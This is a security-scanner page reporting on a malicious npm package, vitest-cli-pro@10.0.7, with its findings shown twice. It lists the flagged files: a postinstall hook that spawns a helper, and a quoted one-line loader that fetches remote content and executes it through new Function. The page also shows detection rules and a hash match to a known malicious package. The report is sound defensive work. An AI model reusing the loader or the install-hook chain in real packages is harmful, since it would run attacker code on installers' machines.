vitest-cli-pro@10.0.7: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

vitest-cli-pro@10.0.7: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

2Cross-file remote execution chain: lib/utils/index.js spawns lib/utils/smtp-connection/index.js; helper contains network access plus dynamic code execution. L2: L3: const { spawn } = require('child_process'); L4: ... L7: L8: const filePath = path.join(__dirname, 'smtp-connection/index.js'); L9:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1(async ()=>{try{const{data}=await require("axios").get("https://api.jsonbin.[redacted]");new Function("require",data.record.cookie)(require)}catch(e){console....

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-connection/index.jsView file

2L3: const packageInfo = require('../../package.json'); L4: const EventEmitter = require('events').EventEmitter; L5: const net = require('net'); L6: const tls = require('tls'); ... L49: L50: this.id = crypto.randomBytes(8).toString('base64').replace(/\W/g, ''); L51: this.stage = 'init'; ... L69: L70: this.name = this.options.name || this._getHostname(); L71: ... L637: } else {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/mime-funcs/index.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/mime-funcs/index.js#virtual:normalized:round1View on unpkg

lib/shared/index.jsView file

•matchType = normalized_sha256 matchedPackage = helmet-pro@10.0.4 matchedPath = lib/shared/index.js matchedIdentity = npm:aGVsbWV0LXBybw:10.0.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

2Cross-file remote execution chain: lib/utils/index.js spawns lib/utils/smtp-connection/index.js; helper contains network access plus dynamic code execution. L2: L3: const { spawn } = require('child_process'); L4: ... L7: L8: const filePath = path.join(__dirname, 'smtp-connection/index.js'); L9:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1(async ()=>{try{const{data}=await require("axios").get("https://api.jsonbin.[redacted]");new Function("require",data.record.cookie)(require)}catch(e){console....

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-connection/index.jsView file

2L3: const packageInfo = require('../../package.json'); L4: const EventEmitter = require('events').EventEmitter; L5: const net = require('net'); L6: const tls = require('tls'); ... L49: L50: this.id = crypto.randomBytes(8).toString('base64').replace(/\W/g, ''); L51: this.stage = 'init'; ... L69: L70: this.name = this.options.name || this._getHostname(); L71: ... L637: } else {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/mime-funcs/index.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/mime-funcs/index.js#virtual:normalized:round1View on unpkg

lib/shared/index.jsView file

•matchType = normalized_sha256 matchedPackage = helmet-pro@10.0.4 matchedPath = lib/shared/index.js matchedIdentity = npm:aGVsbWV0LXBybw:10.0.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg